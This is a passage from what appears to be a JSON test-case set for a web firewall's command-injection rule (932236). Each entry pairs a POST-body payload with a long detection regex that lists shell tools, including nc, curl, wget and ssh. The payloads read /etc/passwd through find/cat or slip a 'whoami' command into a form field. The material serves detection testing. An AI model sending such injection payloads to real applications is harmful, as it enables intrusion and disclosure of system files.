?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "JW2SU88A" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "find /etc -name passwd -exec cat {} +\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?: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),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)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\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "4JOGUXYQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=flock -u / whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|to